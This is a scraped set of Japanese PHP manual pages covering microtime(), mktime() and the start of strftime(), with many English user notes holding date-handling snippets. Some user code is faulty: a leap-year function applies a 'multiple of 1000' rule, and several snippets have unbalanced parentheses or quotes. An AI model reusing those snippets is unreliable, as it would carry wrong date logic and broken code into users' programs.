Note that the timestamp returned is "with microseconds", not "in microseconds". This is especially good to know if you pass 'true' as the parameter and then calculate the difference between two float values -- the result is already in seconds; it doesn't need to be divided by a million.
player27 15-Jan-2013 04:31
You can use one variable to check execution $time as follow:

<?php
$time = -microtime(true);
$hash = 0;
for ($i=0; $i < rand(1000,4000); ++$i) {
    $hash ^= md5(substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, rand(1,10)));
}
$time += microtime(true);
echo "Hash: $hash iterations:$i time: ",sprintf('%f', $time),PHP_EOL;
?>
thomas 12-Apr-2012 02:45
I have been getting negative values substracting a later microtime(true) call from an earlier microtime(true) call on Windows with PHP 5.3.8

Produces negative values
------------------------------
for($i = 0; $i<100; $i++) {
    $x =  microtime(true);
    //short calculation
    $y = microtime(true);
    echo ($y-$x) . "\n"; // <--- mostly negatives
}

Calling usleep(1) seems to work
---------------------------------------
for($i = 0; $i<100; $i++) {
    $x =  microtime(true);
    //short calculation
    usleep(1);
    $y = microtime(true);
    echo ($y-$x) . "\n"; // <--- fixed now
}
langpavel at phpskelet dot org 19-May-2011 01:46
I use this for measure duration of script execution. This function should be defined (and of couse first call made) as soon as possible.

<?php
/**
 * get execution time in seconds at current point of call in seconds
 * @return float Execution time at this point of call
 */
function get_execution_time()
{
    static $microtime_start = null;
    if($microtime_start === null)
    {
        $microtime_start = microtime(true);
        return 0.0;
    }
    return microtime(true) - $microtime_start;
}
get_execution_time();

?>

However it is true that result depends of gettimeofday() call. ([jamie at bishopston dot net] wrote this & I can confirm)
If system time change, result of this function can be unpredictable (much greater or less than zero).
jamie at bishopston dot net 30-Dec-2010 12:55
All these timing scripts rely on microtime which relies on gettimebyday(2)

This can be inaccurate on servers that run ntp to syncronise the servers
time.

For timing, you should really use clock_gettime(2) with the
CLOCK_MONOTONIC flag set.

This returns REAL WORLD time, not affected by intentional clock drift.

This may seem a bit picky, but I recently saw a server that's clock was an
hour out, and they'd set it to 'drift' to the correct time (clock is speeded
up until it reaches the correct time)

Those sorts of things can make a real impact.

Any solutions, seeing as php doesn't have a hook into clock_gettime?

More info here: http://tinyurl.com/28vxja9

http://blog.habets.pp.se/2010/09/
gettimeofday-should-never-be-used-to-measure-time
Robin Leffmann 24-Dec-2010 12:07
While doing some experiments on using microtime()'s output for an entropy generator I found that its microsecond value was always quantified to the nearest hundreds (i.e. the number ends with 00), which affected the randomness of the entropy generator. This output pattern was consistent on three separate machines, running OpenBSD, Mac OS X and Windows.

The solution was to instead use gettimeofday()'s output, as its usec value followed no quantifiable pattern on any of the three test platforms.
gomodo at free dot fr 17-Jun-2009 03:32
Need a mini benchmark ?
Use microtime with this (very smart) benchmark function :

mixed mini_bench_to(array timelist[, return_array=false])
return a mini bench result

-the timelist first key must be 'start'
-default return a resume string, or array if return_array= true :
'total_time' (ms) in first row
details (purcent) in next row

example :
<?php
unset($t);    // if previous used

//-- zone to bench
$t['start'] = microtime(true);
$tab_test=array(1,2,3,4,5,6,7,8);
$fact=1;
$t['init_values'] = microtime(true);
foreach ($tab_test as $key=>$value)
{
    $fact=$fact*$value;
}
$t['loop_fact'] = microtime(true);
echo "fact = ".$fact."\n";
//-- END zone to bench

echo "---- string result----\n";
$str_result_bench=mini_bench_to($t);
echo $str_result_bench; // string return
echo "---- tab result----\n";
$tab_result_bench=mini_bench_to($t,true);
echo var_export($tab_result_bench,true);
?>
this example return:

---- string result----
total time : 0.0141 ms
start -> init_values : 51.1 %
init_values -> loop_fact : 48.9 %
---- tab result----
array (
  'total_time' => 0.0141,
  'start -> init_values' => 51.1,
  'init_values -> loop_fact' => 48.9,
)

The function to include :

<?php
function mini_bench_to($arg_t, $arg_ra=false)
  {
    $tttime=round((end($arg_t)-$arg_t['start'])*1000,4);
    if ($arg_ra) $ar_aff['total_time']=$tttime;
    else $aff="total time : ".$tttime."ms\n";
    $prv_cle='start';
    $prv_val=$arg_t['start'];

    foreach ($arg_t as $cle=>$val)
    {
        if($cle!='start')
        {
            $prcnt_t=round(((round(($val-$prv_val)*1000,4)/$tttime)*100),1);
            if ($arg_ra) $ar_aff[$prv_cle.' -> '.$cle]=$prcnt_t;
            $aff.=$prv_cle.' -> '.$cle.' : '.$prcnt_t." %\n";
            $prv_val=$val;
            $prv_cle=$cle;
        }
    }
    if ($arg_ra) return $ar_aff;
    return $aff;
  }
?>
luke at lucanos dot com 28-May-2008 04:48
Rather than using the list() function, etc. I have found the following code to be a bit cleaner and simpler:
<?php
$theTime = array_sum( explode( ' ' , microtime() ) );
echo $theTime;
# Displays "1212018372.3366"
?>
EdorFaus 16-May-2006 12:47
Of the methods I've seen here, and thought up myself, to convert microtime() output into a numerical value, the microtime_float() one shown in the documentation proper(using explode,list,float,+) is the slowest in terms of runtime.

I implemented the various methods, ran each in a tight loop 1,000,000 times, and compared runtimes (and output). I did this 10 times to make sure there wasn't a problem of other things putting a load spike on the server. I'll admit I didn't take into account martijn at vanderlee dot com's comments on testing accuracy, but as I figured the looping code etc would be the same, and this was only meant as a relative comparison, it should not be necessary.

The above method took on average 5.7151877 seconds, while a method using substr and simply adding strings with . took on average 3.0144226 seconds. rsalazar at innox dot com dot mx's method using preg_replace used on average 4.1819633 seconds. This shows that there are indeed differences, but for normal use noone is going to notice it.

Note that the substr method mentioned isn't quite the one given anonymously below, but one I made based on it:
<?php
$time=microtime();
$timeval=substr($time,11).substr($time,1,9);
?>

Also worth noting is that the microtime_float() method gets faster, and no less accurate, if the (float) conversions are taken out and the variables are simply added together.

Any of the methods that used + or array_sum ended up rounding the result to 2 digits after the decimal point, while (most of) the ones using preg_replace or substr and . kept all the digits.

For accurate timing, since floating-point arithmetic would lose precision, I stored microtime results as-is and calculated time difference with this function:
<?php
function microtime_used($before,$after) {
    return (substr($after,11)-substr($before,11))
        +(substr($after,0,9)-substr($before,0,9));
}
?>

For further information, the script itself, etc, see http://edorfaus.xepher.net/div/convert-method-test.php
radek at pinkbike com 24-Nov-2005 08:48
A lot of the comments here suggest adding in the following way:  (float)$usec + (float)$sec
Make sure you have the float precision high enough as with the default precision of 12, you are only precise to the 0.01 seconds.
Set this in you php.ini file.
        precision    =  16
vladson at pc-labs dot info 19-Jun-2005 03:49
I like to use bcmath for it
<?php
function micro_time() {
    $temp = explode(" ", microtime());
    return bcadd($temp[0], $temp[1], 6);
}

$time_start = micro_time();
sleep(1);
$time_stop = micro_time();

$time_overall = bcsub($time_stop, $time_start, 6);
echo "Execution time - $time_overall Seconds";
?>


日付を Unix のタイムスタンプとして取得する

  • ≪ microtime
  • strftime ≫
  • PHP Manual
  • 日付・時刻 関数
  • 日付を Unix のタイムスタンプとして取得する

mktime

(PHP 4, PHP 5, PHP 7, PHP 8)

mktime — 日付を Unix のタイムスタンプとして取得する

説明

mktime ( int $hour , int|null $minute = null , int|null $second = null , int|null $month = null , int|null $day = null , int|null $year = null ) : int|false

与えられた引数に従って UNIX のタイムスタンプを返します。 このタイムスタンプは、Unix epoch(1970年1月1日00:00:00 GMT)から 指定された時刻までの通算秒を表す長整数です。

引数は右から順に省略することができます。省略された引数は、 ローカルの日付と時刻に従って、現在の値にセットされます。

引数なしで mktime() を呼び出すことは推奨されません。 現在のタイムスタンプを取得する目的には、time() が使えます。

パラメータ

hour

month、day と year で決まる日付の 0 時から数えた「時」。負の値は、その日の 0 時から前にさかのぼった時間を表します。 23 より大きい値は、その翌日以降の該当する時間を表します。

minute

hour 時 0 分から数えた「分」。 負の値は、その前の時刻を表します。 59 より大きい値は、その次の時間以降の該当する時間を表します。

second

minute 分 0 秒から数えた「秒」。 負の値は、その前の時刻を表します。 59 より大きい値は、その次の分以降の該当する時間を表します。

month

前年末から数えた月数。1 から 12 までの場合は、カレンダーどおりのその年の「月」を表します。 (負の値を含めた) 1 より小さい値は、前年の月を逆順でたどります。 つまり 0 なら 12 月、-1 なら 11 月になるということです。 12 より大きい値は、その翌年以降の該当する月を表します。

day

前月末から数えた日数。1 から 28、29、30、31 (月によって異なる) までの場合は、その月の「日」を表します。 (負の値を含めた) 1 より小さい値は、前月の日を逆順でたどります。 つまり 0 なら前月の末日、-1 ならそのさらに前日になるということです。 その月の日数より大きい値は、翌月以降の該当する日を表します。

year

年。2 桁または 4 桁の値を指定可能で、 0-69 の間の値は 2000-2069 に、70-100 は 1970-2000 にマップされます。 今日最も一般的なシステム、すなわち time_t が 32 ビットの符号付き整数である システムでは year として有効な範囲は 1901 から 2038 の間です。しかし、PHP 5.1.0 より前のバージョンではこの範囲が 1970 から 2038 に制限されているシステム (たとえば Windows) もありました。

isDST

このパラメータはサマータイム (DST) の時に1にセットされ、 そうでない時に0、サマータイムであるかどうかが不明である場合に-1 にセットされます。 不明な場合、PHP はサマータイムかどうか推測しようとします。 PHP を実行しているシステムで DST が有効になっている、もしくは isDST が 1 にセットされている場合、 一部の時刻は有効になりません。 もし DST が有効で例えば 2:00 の場合、2:00 から 3:00 までの全ての時刻は 無効になり、mktime() は不確定な値 (通常は負数) を返します。いくつかのシステム (例えば Solaris 8) は真夜中に DST を有効にしますので、DST が有効なときの 0:30 は前日の 23:30 と評価されます。

注意:

PHP 5.1.0 以降、このパラメータは廃止されました。その結果、 新しいタイムゾーン処理機能がかわりに使用されます。

注意:

このパラメータは PHP 7.0.0 で削除されました。

返り値

mktime() は与えられた引数の Unix タイムスタンプを返します。引数が不正な場合、 この関数は false を返します。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

変更履歴

バージョン | 説明
8.0.0 | hour は、オプションではなくなりました。
8.0.0 | minute, second, month, day, year は、nullable になりました。

例

例1 mktime() の基本的な例

<?php
// デフォルトのタイムゾーンを設定します。PHP 5.1 以降で使用可能です
date_default_timezone_set('UTC');

// 出力: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

// 出力例: 2006-04-05T01:02:03+00:00
echo date('c', mktime(1, 2, 3, 4, 5, 2006));
?>

例2 mktime() の例

mktime() は入力日付の有効性を確認しており、 範囲外の入力を自動的に修正して計算してくれるので便利です。 例えば、以下の各行はいずれも文字列 "Jan-01-1998"を出力します。

<?php
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 13, 1, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 1998));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 98));
?>

例3 月の末日

指定した月の最後の日は次の月の -1 番目の日ではなく、"0" 番目の日 として表すことが可能です。以下の例はともに文字列"The last day in Feb 2000 is: 29" を出力します。

<?php
$lastday = mktime(0, 0, 0, 3, 0, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
$lastday = mktime(0, 0, 0, 4, -31, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
?>

注意

警告

PHP 5.1.0 より前のバージョンでは、負の値のタイムスタンプは Windows の どのバージョンにおいてもサポートされていませんでした。 したがって、年の有効範囲は 1970 年から 2038 年の間のみに限定されていました。

参考

  • checkdate() - グレゴリオ暦の日付/時刻の妥当性を確認します
  • gmmktime() - GMT 日付から Unix タイムスタンプを取得する
  • date() - ローカルの日付/時刻を書式化する
  • time() - 現在の Unix タイムスタンプを返す

User Contributed Notes

developers at zeros dot co dot id 17-Feb-2018 04:46
Please note, mktime requires an integer value, if you use date("H"), date("i"), date("s") as a value, which is actually have a leading zero, you may get "A non well formed numeric value encountered" notice. so you need some tricks like this

mktime( date("G"), intval(date("i")), intval(date("s"), date("n"), date("j"), date("Y") )

Since there are no minute & second without leading zero in the date function, we can use the intval() function or you can cast value type like this to force the value type.

(int) date("i")
MarkAgius at markagius dot co dot uk 21-May-2017 04:36
The following function moves all the parameters in order of most significant (biggest) to least significant (smallest) order.
Year is bigger than month. Month is bigger than day. Day bigger than hours...

Much less confusing than mktime order.

<?php
function mkTimestamp($year,$month,$day, $hours=0,$minutes=0,$seconds=0){
  // Same as mktime() but parameters are in most significant to least significant order.
  return mktime($hours,$minutes,$seconds, $month,$day,$year);
}
?>
utilmind 27-Mar-2017 06:12
// here is the function which returns the Unix timestamp of last date of quarter, by  quarter number:
function last_day_of_quarter($q) {
  return mktime(0, 0, 0, floor($q*3), $q == 1 || $q == 4 ? 31 : 30);
}
A.Ross 28-Oct-2016 11:52
What's odd is that mktime doesn't seem to support every possible year number. It's common sense that 2 digit (shortened) year numbers are interpreted in the range 1970..2069

However, when padded with zeroes, no such transformation should happen (at least that is the behaviour of other date functions). Unfortunately it does (until year 100 *inclusive*):

<?php
echo date("Y-m-d",mktime(0,0,0,1,1,"0001"));
// Expected: 0001-01-01
// Result:   2001-01-01      INCORRECT

echo date("Y-m-d",mktime(0,0,0,1,1,"0100"));
// Expected: 0100-01-01
// Result:   2000-01-01      INCORRECT

echo date("Y-m-d",mktime(0,0,0,1,1,"0101"));
// Expected: 0101-01-01
// Result:   0101-01-01      Correct
?>
phper 26-Apr-2016 02:33
Please mind function is timezone dependent. Timezone independent funciton is gmmktime
mktime_php at mailinator dot com 22-Mar-2016 12:42
One practical and useful example of using negative values in mktime is the following:

<?php
//Considering today's date
echo date('Y-m-d'); //Prints: 2016-03-22
echo date('Y-m-d', mktime(0, 0, 0, date("m"), date("d")-42, date("Y"))); //Prints: 2016-02-09
?>

By using date outputs inside mktime and adding or subtracting from them may be simpler than using other methods (string concatenations or timestamp values) and less prone to human calculations' errors.
mh240873 at web dot de 26-Mar-2015 12:18
Pay attention that not all days have the same number of seconds (86400s) if you are using date_default_timezone_set(..) and the used timezone has Daylight Saving Time (DST) e.g. "Europe/Berlin". Under PHP 5.5.16 I get the following results:

  $shortday  = mktime(23,59,59, '3','29','2015') - mktime(0,0,0, '3','29','2015) + 1; // result: 82800s  (86400s - 3600s)
  $normalDay = mktime(23,59,59, '1', '2','2015') - mktime(0,0,0, '1', '1','2015) + 1; // result: 86400s
  $longDay   = mktime(23,59,59,'10','25','2015') - mktime(0,0,0,'10','25','2015) + 1; // result: 90000s  (86400s + 3600s)

Pitfall is noticeable if you are running an iterative loop with a code like:
   echo date( 'd.m.Y', $day );
   $day = $day + 86400;   // 86400 = 24*3600 - frequently used in PHP code

which results in wrong date if $day reaches 2015-10-25 (end of summer time in Germany):
    24.10.2015
    25.10.2015
    25.10.2015   // Ups! Same date twice in calendar
    27.10.2015

You may workaround this by using date_default_timezone_set('UTC') where all days have the same number of seconds.
Rad 27-Mar-2014 05:31
Be careful passing zeros into mktime, in most cases a zero will count as the previous unit of time. The documentation explains this yet most of the comments here still use zeroes.

For example, if you pass the year 2013 into mktime, with zeroes for everything else, the outcome is probably not what you are looking for.

<?php
echo date('F jS, Y g:i:s a', mktime(0, 0, 0, 0, 0, 2013));
// November 30th, 2012 12:00:00 am
?>

Instead of using 0's, try 1's. This makes more sense (except for minutes/seconds). Maybe not as obvious of a purpose as zeroes to other programmers, though.

<?php
echo date('F jS, Y g:i:s a', mktime(1, 1, 1, 1, 1, 2013));
// January 1st, 2013 1:01:01 am
?>
mogster at redesign dot no 15-Mar-2014 12:02
Just a simple function to return mktime from a db (mysql) datetime (Y-m-d H:i:s):

function retMktimest($dbdate) {
  return mktime(substr($dbdate, 11, 2), substr($dbdate, 14, 2), substr($dbdate, 17, 2), substr($dbdate, 5, 2), substr($dbdate, 8, 2), substr($dbdate, 0, 4));
}
delfino dot salinas at gmail dot com 05-Mar-2014 08:01
this function returns the number of days of a provided month and year, it consider the actual rules for leap years

(if the year is multiple of 4 which is not a multiple of 100 unless multiple of thousand then is a leap)
Regards, hope this function solves any issue :)

function daysinmonth($month,$year) {
$dim = 0;
switch ($month) {
    case 1:
    case 3:
    case 5:
    case 7:
    case 8:
    case 10:
    case 12:
        $dim=31;
        break;
    case 4:
    case 6:
    case 9:
    case 11:
        $dim=30;
        break;
    case 2:
        if($year%4==0) {
            if($year%100==0) {
                if($year%1000==0) { $dim=29; } else { $dim=28; }
            } else {
                $dim=29;
            }
        } else {$dim=28;}
        break;
    }
    return($dim);
}
info at djdb dot be 02-Sep-2013 12:03
raw date to clean timestamp
 private function dateToTimestamp($date){
        $datefrom = explode(" ", $date);
        $value = array();
        if(strpos($datefrom[0], '-')){
            //print "issplit -";
            $value = explode("-", $datefrom[0]);
        }
        if(strpos($datefrom[0], '/')){
            //print "issplit /";
            $value = explode("/", $datefrom[0]);
        }
        /*if(){

        }*/
        if(strlen($value[2])==4){//13/12/2012
            //int mktime([hour[minute[second[month[day[year
            return mktime(0, 0, 0,$value[1],$value[0],$value[2]);
        }else{                  //2012/12/13
            //int mktime([hour[minute[second[month[day[year
            return mktime(0, 0, 0,$value[1],$value[2],$value[0]);
        }
    }
Jacob Santos 09-Nov-2012 04:17
Please note that incrementing a date using mktime in a loop is not proper. You could do it, except that there is a far better method found in the DateTime PHP class. Look at the documentation for DateTime::modify, DateTime::add (when supported) and DateTime::sub (when supported).

Also, adding seconds to a time is, well it isn't as easy as it seems, "Hey I'll just add 3600 seconds or 86400 seconds or x seconds!". The phrase once bitten, twice shy is quite applicable with the usage of adding seconds. If you ever had to 'fix' a time by calculating midnight to add the correct number of seconds, then you are doing it wrong.

Luckily, knowing is not a requirement, because DateTime and friends exists, removing the complexity for you.

So if given a choice of

mktime($seconds, $minutes, $hours+1);

and

$datetime->modify('+1 hour');

or

$datetime->add('P1H');

I'll go with the second choice, but probably not the third, unless I was using DateInterval::createFromDateString, so that other developers knew my intent.
info at microweb dot lt 03-Nov-2010 07:42
Function to generate array of dates between two dates (date range array)

<?php
function dates_range($date1, $date2)
{
   if ($date1<$date2)
   {
       $dates_range[]=$date1;
       $date1=strtotime($date1);
       $date2=strtotime($date2);
       while ($date1!=$date2)
       {
           $date1=mktime(0, 0, 0, date("m", $date1), date("d", $date1)+1, date("Y", $date1));
           $dates_range[]=date('Y-m-d', $date1);
       }
   }
   return $dates_range;
}

echo '<pre>';
print_r(dates_range('2009-12-25', '2010-01-05'));
echo '</pre>';
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix submitted by (carlosbuz2 AT gmail DOT com) on 04-MAR-2011, with the following note: The first date in array is incorrect.]
tom at chegg dot com 31-Aug-2010 02:01
I was using the following to get a list of month names.

for ($i=1; $i<13; $i++) {
  echo date('F', mktime(0,0,0,$i) . ",";
}

Normally this outputs -
January,February,March,April,May,June,July,August,
September,October,November,December

However if today's date is the 31st you get instead:
January,March,March,May,May,July,July,August,October,
October,December,December

Why? Because Feb,Apr,June,Sept, and Nov don't have 31 days!

The fix, add the 5th parameter, don't let the day of month default to today's date:

  echo date('F', mktime(0,0,0,$i,1) . ",";
zfowler at unomaha dot edu 16-Mar-2010 02:18
Proper way to convert Excel dates into PHP-friendly timestamps using mktime():

<?php
// The date 6/30/2009 is stored as 39994 in Excel
$days = 39994;

// But you must subtract 1 to get the correct timestamp
$ts = mktime(0,0,0,1,$days-1,1900);

// So, this would then match Excel's representation:
echo date("m/d/Y",$ts);
?>

Excel uses "number of days since Jan. 1, 1900" to store its dates.  It also treats 1900 as a leap year when it wasn't, thus there is an extra day which must be accounted for in PHP (and the rest of the world).  Subtracting 1 from Excel's number will fix this problem.
cebleo at n-trance dot net 08-Sep-2009 11:36
to ADD or SUBSTRACT times NOTE that if you dont specify the UTC zone your result is the difference +- your server UTC delay.

if you are ina utc/GMT +1

<?php
$hours_diff = strtotime("20:00:00")-strtotime("19:00:00");
echo  date('h:i', $hours_diff)." Hours";
?>

it shows: 02:00 Hours

but if you use a default UTC time:

<?php
date_default_timezone_set('UTC');
$hours_diff = strtotime("20:00:00")-strtotime("19:00:00");
echo "<br>". date('h:i', $hours_diff);
?>

it shows: 01:00 Hours.
ronnie dot kurniawan at gmail dot com 16-Jan-2009 09:49
Add (and subtract) unixtime:

<?php
function utime_add($unixtime, $hr=0, $min=0, $sec=0, $mon=0, $day=0, $yr=0) {
  $dt = localtime($unixtime, true);
  $unixnewtime = mktime(
      $dt['tm_hour']+$hr, $dt['tm_min']+$min, $dt['tm_sec']+$sec,
      $dt['tm_mon']+1+$mon, $dt['tm_mday']+$day, $dt['tm_year']+1900+$yr);
  return $unixnewtime;
}
?>
Alan 18-Nov-2008 07:52
Do remember that, counter-intuitively enough, the arguments for month and day are inversed (or middle-endian). A common mistake for Europeans seems to be to feed the date arguments in the expected order (big endian or little endian).

It's clear to see where this weird order comes from (even with the date being big endian the order for all arguments would still be mixed - it's obviously based on the American date format with the time "prefixed" to allow an easier shorthand) and why this wasn't changed (passing the values in the wrong order produces a valid, though unexpected, result in most cases), but it continues to be a source of confusion for me whenever I come back to PHP from other languages or libraries.
yan 10-Nov-2008 05:50
caculate days between two date

<?php
  // end date is 2008 Oct. 11 00:00:00
  $_endDate = mktime(0,0,0,11,10,2008);
  // begin date is 2007 May 31 13:26:26
  $_beginDate = mktime(13,26,26,05,31,2007);

  $timestamp_diff= $_endDate-$_beginDate +1 ;
  // how many days between those two date
  $days_diff = $timestamp_diff/86400;

?>
ionut dot bodea at eydos dot ro 02-Oct-2008 08:29
Here is what I use to calculate age. It took me 30 minutes to write and it's quite accurate. What it has special is that it's calculating the number of days a year has (float number), by testing if a year is a leap one or not. This number is used to compute the age.

<?php
function get_age($date_start, $date_end) {
    $t_lived = get_timestamp($date_end) - get_timestamp($date_start);
    $seconds_one_year = get_days_per_year($date_start, $date_end) * 24 * 60 * 60;
    $age = array();
    $age['years_exact'] = $t_lived / $seconds_one_year;
    $age['years'] = floor($t_lived / $seconds_one_year);
    $seconds_remaining = $t_lived % $seconds_one_year;
    $age['days'] = round($seconds_remaining / (24 * 60 * 60));
    return $age;
}
function get_timestamp($date) {
    list($y, $m, $d) = explode('-', $date);
    return mktime(0, 0, 0, $m, $d, $y);
}
function get_days_per_year($date_start, $date_end) {
    list($y1) = explode('-', $date_start);
    list($y2) = explode('-', $date_end);
    $years_days = array();
    for($y = $y1; $y <= $y2; $y++) {
        $years_days[] = date('L', mktime(0, 0, 0, 1, 1, $y)) ? 366 : 365;
    }
    return round(array_sum($years_days) / count($years_days), 2);
}

$date_birth = '1979-10-12';
$date_now = date('Y-m-d');

$age = get_age($date_birth, $date_now);
echo '<pre>';
print_r($age);
echo '</pre>';
?>

It will display something like this:
Array
(
    [years_exact] => 28.972974329491
    [years] => 28
    [days] => 355
)
ooogla at hotmail dot com 01-Sep-2008 03:56
If you want to increment the day based on a variable when using a loop you can use this when you submit a form

1. Establish a start date and end date in two different variables

2. Get the number of days between a date

$ndays = (strtotime($_POST['edate']) - strtotime($_POST['sdate'])) / (60 * 60 * 24);

Then here is the string you slip in your loop

$nextday  = date('Y-m-d', mktime(0, 0, 0, date("m", strtotime($_POST['sdate']))  , date("d", strtotime($_POST['sdate']))+ $count, date("Y", strtotime($_POST['sdate']))));

$count is incremented by the loop.
thomas_corthals at hotmail dot com 13-May-2008 07:34
It seems mktime() doesn't return negative timestamps on Linux systems with a version of glibc <= 2.3.3.
joseph dot andrew dot hughes at gmail dot com 30-Jan-2008 12:58
Just a small thing to think about if you are only trying to pull the month out using mktime and date.  Make sure you place a 1 into day field.  Otherwise you will get incorrect dates when a month is followed by a month with less days when the day of the current month is higher then the max day of the month you are trying to find.. (Such as today being Jan 30th and trying to find the month Feb.)
PHPcoder at freemail dot ig3 dot net 06-Sep-2007 10:58
The maximum possible date accepted by mktime() and gmmktime() is dependent on the current location time zone.

For example, the 32-bit timestamp overflow occurs at 2038-01-19T03:14:08+0000Z.  But if you're in a UTC -0500 time zone (such as EST in North America), the maximum accepted time before overflow (for older PHP versions on Windows) is 2038-01-18T22:14:07-0500Z, regardless of whether you're passing it to mktime() or gmmktime().
rlz 16-Jul-2007 09:52
Finding out the number of days in a given month and year, accounting for leap years when February has more than 28 days.

<?php
function days_in_month($year, $month) {
    return( date( "t", mktime( 0, 0, 0, $month, 1, $year) ) );
}
?>

Hope it helps a soul out there.
rga at merchantpal dot com 31-Mar-2007 08:46
You cannot simply subtract or add month VARs using mktime to obtain previous or next months as suggested in previous user comments (at least not with a DD > 28 anyway).

If the date is 03-31-2007, the following yeilds March as a previous month. Not what you wanted.

<?php
$dateMinusOneMonth = mktime(0, 0, 0, (3-1), 31,  2007 );
$lastmonth = date("n | F", $dateMinusOneMonth);
echo $lastmonth;    //---> 3 | March
?>

mktime correctly gives you back the 3rd of March if you subtract 1 month from March 31 (there are only 28 days in Feb 07).

If you are just looking to do month and year arithmetic using mktime, you can use general days like 1 or 28 to do stuff like this:

<?php
$d_daysinmonth = date('t', mktime(0,0,0,$myMonth,1,$myYear));     // how many days in month
$d_year = date('Y', mktime(0,0,0,$myMonth,1,$myYear));        // year
$d_isleapyear = date('L', mktime(0,0,0,$myMonth,1,$myYear));    // is YYYY a leapyear?

$d_firstdow = date('w', mktime(0,0,0,$myMonth,'1',$myYear));     // FIRST falls on what day of week (0-6)
$d_firstname = date('l', mktime(0,0,0,$myMonth,'1',$myYear));     // FIRST falls on what day of week Full Name

$d_month = date('n', mktime(0,0,0,$myMonth,28,$myYear));         // month of year (1-12)
$d_monthname = date('F', mktime(0,0,0,$myMonth,28,$myYear));         // Month Long name (July)
$d_month_previous = date('n', mktime(0,0,0,($myMonth-1),28,$myYear));         // PREVIOUS month of year (1-12)
$d_monthname_previous = date('F', mktime(0,0,0,($myMonth-1),28,$myYear));     // PREVIOUS Month Long name (July)
$d_month_next = date('n', mktime(0,0,0,($myMonth+1),28,$myYear));         // NEXT month of year (1-12)
$d_monthname_next = date('F', mktime(0,0,0,($myMonth+1),28,$myYear));         // NEXT Month Long name (July)
$d_year_previous = date('Y', mktime(0,0,0,$myMonth,28,($myYear-1)));        // PREVIOUS year
$d_year_next = date('Y', mktime(0,0,0,$myMonth,28,($myYear+1)));        // NEXT year

$d_weeksleft = (52 - $d_weekofyear);                     // how many weeks left in year
$d_daysinyear = $d_isleapyear ? 366 : 365;                // set correct days in year for leap years
$d_daysleft = ($d_daysinyear - $d_dayofyear);                // how many days left in year
?>
Stephen 08-Jan-2007 02:43
There are several warnings here about using mktime() to determine a date difference because of daylight savings time. However, nobody seems to have mentioned the other obvious problem, which is leap years.

Leap years mean that any effort to use mktime() and time() to determine the age (positive or negative) of some timestamp in years will be flawed. There are some years that are 366 days long, therefore you cannot say that there is a set number of seconds per year.

Timestamps are good for determining *real* time, which is not the same thing as *human calendar* time. The Gregorian calendar is only an approximation of real time, which is tweaked with daylight savings time and leap years to make it conform more to humans' expectations of how time should or ought to work. Timestamps are not tweaked and therefore are the only authoritative way of recording in computers a proper order of succession of events, but they cannot be integrated with a Gregorian system unless you take both leap years and DST into account. Otherwise, you may get the wrong number of years when you are approaching a value of exactly X years.

As for PHP, you could still use timestamps as a way of determining age if you took into account not only DST but also whether or not each year is a leap year and adjusted your calculations accordingly. However, this could become messy and inefficient.

There is an alternative approach to calculating days given the day, month and year of the dates to be compared. Compare the years first, and then compare the month and day - if the month and day have already passed (or, if you like, if they match the current month and day), then add 1 to the total for the years.

This solution works because it stays within the Gregorian system and doesn't venture into the world of timestamps.

There is also the issue of leap seconds, but this will only arise if you literally need to get the *exact* age in seconds. In that case, of course, you would also need to verify that your timestamps are exactly correct and are not delayed by script processing time, plus you would need to determine whether your system conforms to UTC, etc. I expect this will hardly be an issue for anybody using PHP, however if you are interested there is an article on this issue on Wikipedia:

http://en.wikipedia.org/wiki/Leap_second


ロケールの設定に基づいてローカルな日付・時間をフォーマットする

  • ≪ mktime
  • strptime ≫
  • PHP Manual
  • 日付・時刻 関数
  • ロケールの設定に基づいてローカルな日付・時間をフォーマットする

strftime

(PHP 4, PHP 5, PHP 7, PHP 8)

strftime — ロケールの設定に基づいてローカルな日付・時間をフォーマットする

説明

strftime ( string $format , int|null $timestamp = null ) : string|false

ローカルの時刻・日付を、ロケール設定にもとづいてフォーマットします。 月および曜日の名前、およびその他の言語依存の文字列は、 setlocale() で設定された現在のロケールを尊重して表示されます。

使用する C ライブラリで、すべての変換指定子がサポートされているとは限りません。 そのような場合、該当する変換指定子は PHP の strftime() ではサポートされません。 また、全てのプラットフォームが負のタイムスタンプをサポートしているわけではないため、 Unix Epoch (1970 年 1 月 1 日）以前の日付を扱えないかもしれません。 つまり、Windows や一部の Linux ディストリビューション、そしてその他のごく一部の オペレーティングシステム上では %e、%T、%R および %D (あるいはこれ以外も) が Jan 1, 1970 より前の日付について動作しないということです。 Windwos システム上でサポートされる変換指定子の概要については、 » MSDN に掲載されています。

パラメータ

format

次の変換指定子が format パラメータ用の文字列として認識されます
format | 説明 | 返り値の例
日 --- ---
%a | 短縮された曜日の名前 | Sun から Sat
%A | 完全な曜日の名前 | Sunday から Saturday
%d | 10 進数で 2 桁の日付 (先頭のゼロつき) | 01 から 31
%e | 1 桁の場合は先頭にスペースをいれた日付。 Windows ではそのようには実装されていません。詳細は以下を参照ください。 | 1 から 31
%j | 3 桁で先頭にゼロを含む年間での日付 | 001 から 366
%u | ISO-8601 数値表現であらわした曜日 | 1 (月曜日) から 7 (日曜日)
%w | 数値表現であらわした曜日 | 0 (日曜日) から 6 (土曜日)
週 --- ---
%U | 指定した年の週番号。最初の日曜日を第一週の開始日とする | 13 (年間の第 13 週の場合)
%V | ISO-8601:1988 で規定された、指定した年の週番号。 週の開始日は月曜日で、第 1 週は少なくとも 4 日はあることになる | 01 から 53 (53 は年をまたがる週になります)
%W | その年の週番号の数値表現。最初の月曜日を最初の週の初日とする | 46 (46 番目の週の場合。開始日は月曜日)
月 --- ---
%b | 現在のロケールに基づく短縮された月の名前 | Jan から Dec
%B | 現在のロケールに基づく完全な月の名前 | January から December
